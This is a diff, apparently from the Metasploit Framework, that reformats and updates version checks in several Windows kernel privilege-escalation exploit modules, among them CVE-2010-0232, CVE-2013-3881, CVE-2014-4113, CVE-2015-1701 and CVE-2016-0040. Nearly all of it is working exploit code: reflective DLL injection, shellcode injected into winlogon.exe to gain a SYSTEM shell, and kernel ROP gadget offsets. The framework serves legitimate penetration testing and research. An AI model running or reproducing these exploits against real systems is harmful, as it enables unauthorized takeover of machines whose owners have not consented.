fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting payload and triggering the bug...")
|
||||
print_status('Reflectively injecting payload and triggering the bug...')
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll"),
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2010-0232', 'kitrap0d.x86.dll'),
|
||||
encoded_payload
|
||||
)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -127,12 +127,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
mytarget = target
|
||||
if mytarget.name =~ /Automatic/
|
||||
os = sysinfo['OS']
|
||||
mytarget = targets[1] if os =~ /windows xp/i
|
||||
mytarget = targets[2] if (os =~ /2003/) && (os =~ /service pack 2/i)
|
||||
if (os =~ /\.net server/i) && (os =~ /service pack 2/i)
|
||||
mytarget = targets[2]
|
||||
end
|
||||
version = get_version_info
|
||||
mytarget = targets[1] if version.build_number.between?(Msf::WindowsVersion::XP_SP2, Msf::WindowsVersion::XP_SP3)
|
||||
mytarget = targets[2] if version.build_number == Msf::WindowsVersion::Server2003_SP2
|
||||
|
||||
if mytarget.name =~ /Automatic/
|
||||
print_error('Could not identify the target system, it may not be supported')
|
||||
|
@ -142,7 +139,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if is_system?
|
||||
print_error('This meterpreter session is already running as SYSTE')
|
||||
print_error('This meterpreter session is already running as SYSTEM')
|
||||
return
|
||||
end
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows 7 SP0/SP1', {} ]
|
||||
|
@ -68,12 +68,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
unless (os =~ /windows/i)
|
||||
unless session.platform == 'windows'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
|
||||
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
|
@ -83,8 +82,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
when 7601
|
||||
if branch == 18
|
||||
return Exploit::CheckCode::Appears if revision < 18176
|
||||
else
|
||||
return Exploit::CheckCode::Appears if revision < 22348
|
||||
elsif revision < 22348
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -95,26 +94,26 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
|
||||
end
|
||||
|
||||
print_status("Launching notepad to host the exploit...")
|
||||
notepad_process_pid = cmd_exec_get_pid("notepad.exe")
|
||||
print_status('Launching notepad to host the exploit...')
|
||||
notepad_process_pid = cmd_exec_get_pid('notepad.exe')
|
||||
begin
|
||||
process = client.sys.process.open(notepad_process_pid, PROCESS_ALL_ACCESS)
|
||||
print_good("Process #{process.pid} launched.")
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
print_error("Operation failed. Hosting exploit in the current process...")
|
||||
print_error('Operation failed. Hosting exploit in the current process...')
|
||||
process = client.sys.process.open
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.x86.dll")
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-1300', 'schlamperei.x86.dll')
|
||||
library_path = ::File.expand_path(library_path)
|
||||
|
||||
print_status("Injecting exploit into #{process.pid}...")
|
||||
|
@ -124,18 +123,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
|
||||
|
||||
client.sys.process.each_process do |p|
|
||||
if p['name'] == "winlogon.exe"
|
||||
winlogon_pid = p['pid']
|
||||
print_status("Found winlogon.exe with PID #{winlogon_pid}")
|
||||
next unless p['name'] == 'winlogon.exe'
|
||||
|
||||
if execute_shellcode(payload.encoded, nil, winlogon_pid)
|
||||
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
|
||||
else
|
||||
print_error("Failed to start payload thread")
|
||||
end
|
||||
winlogon_pid = p['pid']
|
||||
print_status("Found winlogon.exe with PID #{winlogon_pid}")
|
||||
|
||||
break
|
||||
if execute_shellcode(payload.encoded, nil, winlogon_pid)
|
||||
print_good('Everything seems to have worked, cross your fingers and wait for a SYSTEM shell')
|
||||
else
|
||||
print_error('Failed to start payload thread')
|
||||
end
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
|
@ -13,64 +12,62 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in win32k.sys where under
|
||||
specific conditions TrackPopupMenuEx will pass a NULL pointer to
|
||||
the MNEndMenuState procedure. This module has been tested
|
||||
successfully on Windows 7 SP0 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Seth Gibson', # vulnerability discovery
|
||||
'Dan Zentner', # vulnerability discovery
|
||||
'Matias Soler', # vulnerability analysis
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 7 SP0/SP1', { } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-3881' ],
|
||||
[ 'OSVDB', '98212' ],
|
||||
[ 'BID', '62830'],
|
||||
[ 'MSB', 'MS13-081' ],
|
||||
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
|
||||
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2013-10-08',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
},
|
||||
}))
|
||||
'Name' => 'Windows TrackPopupMenuEx Win32k NULL Page',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in win32k.sys where under
|
||||
specific conditions TrackPopupMenuEx will pass a NULL pointer to
|
||||
the MNEndMenuState procedure. This module has been tested
|
||||
successfully on Windows 7 SP0 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Seth Gibson', # vulnerability discovery
|
||||
'Dan Zentner', # vulnerability discovery
|
||||
'Matias Soler', # vulnerability analysis
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows 7 SP0/SP1', {} ]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
[ 'CVE', '2013-3881' ],
|
||||
[ 'OSVDB', '98212' ],
|
||||
[ 'BID', '62830'],
|
||||
[ 'MSB', 'MS13-081' ],
|
||||
[ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ],
|
||||
[ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ]
|
||||
],
|
||||
'DisclosureDate' => '2013-10-08',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
if (os =~ /windows/i) == nil
|
||||
if session.platform != 'windows'
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
|
||||
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
|
@ -91,22 +88,22 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
print_status("Reflectively injecting the exploit DLL and triggering the exploit...")
|
||||
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3881", "cve-2013-3881.x86.dll"),
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3881', 'cve-2013-3881.x86.dll'),
|
||||
encoded_payload
|
||||
)
|
||||
|
||||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
|
@ -13,76 +12,73 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
|
||||
'Description' => %q{
|
||||
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
|
||||
can be triggered through the use of TrackPopupMenu. Under special conditions, the
|
||||
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
|
||||
code execution. This module has been tested successfully on Windows XP SP3, Windows
|
||||
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
|
||||
2008 R2 SP1 64 bits.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'juan vazquez', # msf module (x86 target)
|
||||
'Spencer McIntyre', # msf module (x64 target)
|
||||
'OJ Reeves <oj[at]buffered.io>'
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on (32 bits):
|
||||
# * Windows XP SP3
|
||||
# * Windows 2003 SP2
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
# Tested on (64 bits):
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008 R2 SP1
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4113'],
|
||||
['OSVDB', '113167'],
|
||||
['BID', '70364'],
|
||||
['MSB', 'MS14-058'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
|
||||
],
|
||||
'DisclosureDate' => '2014-10-14',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
{
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
},
|
||||
}))
|
||||
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
|
||||
'Description' => %q{
|
||||
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
|
||||
can be triggered through the use of TrackPopupMenu. Under special conditions, the
|
||||
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
|
||||
code execution. This module has been tested successfully on Windows XP SP3, Windows
|
||||
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
|
||||
2008 R2 SP1 64 bits.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'juan vazquez', # msf module (x86 target)
|
||||
'Spencer McIntyre', # msf module (x64 target)
|
||||
'OJ Reeves <oj[at]buffered.io>'
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
# Tested on (32 bits):
|
||||
# * Windows XP SP3
|
||||
# * Windows 2003 SP2
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
# Tested on (64 bits):
|
||||
# * Windows 7 SP1
|
||||
# * Windows 2008 R2 SP1
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2014-4113'],
|
||||
['OSVDB', '113167'],
|
||||
['BID', '70364'],
|
||||
['MSB', 'MS14-058'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
|
||||
],
|
||||
'DisclosureDate' => '2014-10-14',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
|
||||
if os !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
|
||||
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
|
@ -101,18 +97,18 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] == ARCH_X64 && session.arch == ARCH_X86
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo["Architecture"] == ARCH_X64 && target.arch.first == ARCH_X86
|
||||
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
||||
elsif sysinfo["Architecture"] == ARCH_X86 && target.arch.first == ARCH_X64
|
||||
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL and triggering the exploit...")
|
||||
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
|
||||
if target.arch.first == ARCH_X86
|
||||
dll_file_name = 'cve-2014-4113.x86.dll'
|
||||
else
|
||||
|
|
|
@ -76,9 +76,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
temp = get_env('WINDIR')
|
||||
dll_path = "#{temp}\\System32\\TSWbPrxy.exe"
|
||||
|
||||
win_ver = sysinfo['OS']
|
||||
version = get_version_info
|
||||
|
||||
unless win_ver =~ /Windows Vista|Windows 2008|Windows 2012|Windows [78]/
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Server2012_R2)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
@ -99,8 +99,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NotVulnerable, 'Sorry, this module currently only allows x86/win32 sessions at the moment')
|
||||
end
|
||||
|
||||
win_ver = sysinfo['OS']
|
||||
if win_ver =~ /Windows 2012|Windows 8/
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
|
||||
fail_with(Failure::NotVulnerable, 'This module doesn\'t run on Windows 8/2012 at the moment')
|
||||
end
|
||||
|
||||
|
@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
cmd = cmd_psh_payload(
|
||||
payload.encoded,
|
||||
payload_instance.arch.first,
|
||||
{ :remove_comspec => true }
|
||||
{ remove_comspec: true }
|
||||
)
|
||||
|
||||
print_status('Storing payload on environment variable...')
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
|
@ -13,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows ClientCopyImage Win32k Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits improper object handling in the win32k.sys kernel mode driver.
|
||||
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
|
||||
Windows 2008 R2 SP1 x64.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'hfirefox', # Code released on github
|
||||
'OJ Reeves', # msf module
|
||||
'Spencer McIntyre' # msf module
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2015-1701'],
|
||||
['MSB', 'MS15-051'],
|
||||
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
|
||||
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
|
||||
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
|
||||
],
|
||||
'DisclosureDate' => '2015-05-12',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' =>
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ],
|
||||
},
|
||||
}))
|
||||
'Name' => 'Windows ClientCopyImage Win32k Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits improper object handling in the win32k.sys kernel mode driver.
|
||||
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
|
||||
Windows 2008 R2 SP1 x64.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Unknown', # vulnerability discovery and exploit in the wild
|
||||
'hfirefox', # Code released on github
|
||||
'OJ Reeves', # msf module
|
||||
'Spencer McIntyre' # msf module
|
||||
],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2015-1701'],
|
||||
['MSB', 'MS15-051'],
|
||||
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
|
||||
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
|
||||
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
|
||||
],
|
||||
'DisclosureDate' => '2015-05-12',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_OS_RESTARTS, ]
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -69,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
|
||||
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.18105 (Works)
|
||||
|
||||
if sysinfo['OS'] !~ /windows/i
|
||||
unless session.platform == 'windows'
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
@ -104,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||
end
|
||||
|
||||
print_status("Reflectively injecting the exploit DLL and executing it...")
|
||||
print_status('Reflectively injecting the exploit DLL and executing it...')
|
||||
if target.arch.first == ARCH_X86
|
||||
dll_file_name = 'cve-2015-1701.x86.dll'
|
||||
else
|
||||
|
|
|
@ -13,14 +13,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'6.3.9600.17796',
|
||||
'6.3.9600.17837',
|
||||
'6.3.9600.17915'
|
||||
]
|
||||
].freeze
|
||||
|
||||
NT_VERSIONS = [
|
||||
'6.3.9600.17415',
|
||||
'6.3.9600.17630',
|
||||
'6.3.9600.17668',
|
||||
'6.3.9600.17936'
|
||||
]
|
||||
].freeze
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
|
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows 8.1 x64', {} ]
|
||||
|
@ -122,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def set_win32k_offsets
|
||||
@win32k_offsets ||= Proc.new do |version|
|
||||
@set_win32k_offsets ||= proc do |version|
|
||||
case version
|
||||
when '6.3.9600.17393'
|
||||
{
|
||||
|
@ -227,8 +227,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'xchg_rax_rsp_adjust' => 0x15e5fc, # xchg esp, eax # rol byte ptr [rcx-75h], 0c0h # add rsp, 28h # ret # 94 c0 41 8b c0 48 83 c4 28 c3
|
||||
'chwnd_delete' => 0x15A220 # CHwndTargetProp::Delete
|
||||
}
|
||||
else
|
||||
nil
|
||||
end
|
||||
end.call(@win32k)
|
||||
end
|
||||
|
@ -245,7 +243,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def set_nt_offsets
|
||||
@nt_offsets ||= Proc.new do |version|
|
||||
@set_nt_offsets ||= proc do |version|
|
||||
case version
|
||||
when '6.3.9600.17415'
|
||||
{
|
||||
|
@ -267,8 +265,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'set_cr4' => 0x3863bc, # mov cr4, rax # add rsp, 28h # ret # 0F 22 E0 48 83 C4 28 C3
|
||||
'allocate_pool_with_tag' => 0x29FA50 # ExAllocatePoolWithTag
|
||||
}
|
||||
else
|
||||
nil
|
||||
end
|
||||
end.call(@ntoskrnl)
|
||||
end
|
||||
|
@ -308,7 +304,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
# We have tested only windows 8.1
|
||||
if sysinfo['OS'] !~ /Windows 8/i
|
||||
version = get_version_info
|
||||
unless version.build_number != Msf::WindowsVersion::Win81 && !version.windows_server?
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
|
|
|
@ -13,55 +13,57 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows WMI Receive Notification Exploit',
|
||||
'Description' => %q(
|
||||
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
|
||||
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'smmrootkit', # crash code
|
||||
'de7ec7ed', # exploit code
|
||||
'de7ec7ed', # msf module
|
||||
],
|
||||
'Arch' => [ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]
|
||||
],
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
['CVE', '2016-0040'],
|
||||
['MSB', 'MS16-014'],
|
||||
['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],
|
||||
['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],
|
||||
['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']
|
||||
],
|
||||
'DisclosureDate' => '2015-12-04',
|
||||
'DefaultTarget' => 0)
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Windows WMI Receive Notification Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.
|
||||
This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'smmrootkit', # crash code
|
||||
'de7ec7ed', # exploit code
|
||||
'de7ec7ed', # msf module
|
||||
],
|
||||
'Arch' => [ARCH_X64],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => ['meterpreter'],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
